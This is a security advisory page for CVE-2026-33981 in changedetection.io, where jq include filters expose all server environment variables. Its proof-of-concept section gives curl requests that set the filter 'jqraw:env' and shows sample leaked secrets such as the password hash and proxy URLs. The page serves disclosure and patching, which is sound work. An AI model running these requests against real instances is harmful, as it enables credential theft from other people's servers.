CVE-2026-33981: Changedetection.io Discloses Environment Variables via jq env Builtin in Include Filters

Published Mar 27, 2026
·
Updated

Summary

The jq: and jqraw: include filter expressions allow use of the jq env builtin, which reads all process environment variables and stores them as the watch snapshot. An authenticated user (or unauthenticated user when no password is set, the default) can leak sensitive environment variables including SALTEDPASS, PLAYWRIGHTDRIVERURL, HTTPPROXY, and any secrets passed as env vars to the container.

Details

Vulnerable file: changedetectionio/htmltools.py, lines 380-388

User-supplied jq filter expressions are compiled and executed without restricting dangerous jq builtins:

python if jsonfilter.startswith("jq:"): jqexpression = jq.compile(jsonfilter.removeprefix("jq:")) match = jqexpression.input(jsondata).all() return getstrippedtextfromjsonmatch(match)

if jsonfilter.startswith("jqraw:"): jqexpression = jq.compile(jsonfilter.removeprefix("jqraw:")) match = jqexpression.input(jsondata).all() return '\n'.join(str(item) for item in match)

The form validator at forms.py:670-673 only checks that the expression compiles (jq.compile(input)) — it does not block dangerous functions. The jq env builtin reads all process environment variables regardless of the input data, returning a dictionary of every env var in the server process.

PoC

Step 1 — Create a watch for any JSON endpoint with jqraw:env as the include filter:

bash curl -X POST http://target:5000/api/v1/watch \ -H "Content-Type: application/json" \ -H "x-api-key: <api-key>" \ -d '{ "url": "https://httpbin.org/json", "includefilters": ["jqraw:env"], "timebetweencheck": {"seconds": 30} }'

If no password or API key is set (the default), no authentication is needed.

Step 2 — Wait for the watch to be checked, or trigger a recheck:

bash curl "http://target:5000/api/v1/watch/<uuid>?recheck=true" -H "x-api-key: <api-key>"

Step 3 — The processed text file on disk now contains all environment variables:

{'SALTEDPASS': '...hashed password...', 'PLAYWRIGHTDRIVERURL': 'ws://browser:3000', 'HTTPPROXY': 'socks5h://10.10.1.10:1080', 'SHELL': '/bin/bash', 'HOME': '/root', 'PATH': '...', 'WERKZEUGSERVERFD': '22', ... and all other env vars}

The data is visible in the web UI when viewing the watch's latest snapshot, and is also included in notification messages if notifications are configured.

Confirmed on v0.54.6: The processed text file stored 46 environment variables from the server process.

Impact

- Secret exposure: Leaks SALTEDPASS (password hash used for authentication), enabling offline cracking or direct session forgery - Infrastructure credential theft: Leaks PLAYWRIGHTDRIVERURL, WEBDRIVERURL, HTTPPROXY/HTTPSPROXY, database connection strings, and any API keys or tokens passed as environment variables - Cascading access: Leaked proxy credentials or browser automation URLs can be used to pivot into other internal systems - Affects all deployments using jq: Any instance where the Python jq module is installed (standard in Docker deployments) is vulnerable - No authentication required by default: changedetection.io ships with no password and the API accessible without a key, so this is exploitable by any user with network access in the default configuration

Other sources

changedetection.io is a free open source web page change detection tool. Prior to 0.54.7, the jq: and jqraw: include filter expressions allow use of the jq env builtin, which reads all process environment variables and stores them as the watch snapshot. An authenticated user (or unauthenticated user when no password is set, the default) can leak sensitive environment variables including SALTEDPASS, PLAYWRIGHTDRIVERURL, HTTPPROXY, and any secrets passed as env vars to the container. Version 0.54.7 patches the issue.

MITRE

Affected Software

2 affected componentsFixes available
pip/changedetection.io<=0.54.6
0.54.7
Webtechnologies Changedetection<0.54.7

Event History

Mar 27, 2026
Advisory Published
via GitHub·07:11 PM
Data Sourced
via GitHub·07:11 PM
DescriptionWeaknessAffected Software
CVE Published
via MITRE·10:01 PM
Data Sourced
via MITRE·10:01 PM
DescriptionWeakness
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
RemedyAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-33981?

CVE-2026-33981 is considered a medium severity vulnerability as it can allow unauthorized access to sensitive environment variables.

2

How do I fix CVE-2026-33981?

To fix CVE-2026-33981, update to changedetection.io version 0.54.7 or later.

3

Who is affected by CVE-2026-33981?

CVE-2026-33981 affects all users of the changedetection.io package versions up to 0.54.6.

4

Can unauthenticated users exploit CVE-2026-33981?

Yes, unauthenticated users can exploit CVE-2026-33981 if no password is set for the application, which is the default behavior.

5

What impact does CVE-2026-33981 have on my system?

CVE-2026-33981 can lead to the unintentional exposure of sensitive environment variables, potentially compromising application security.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203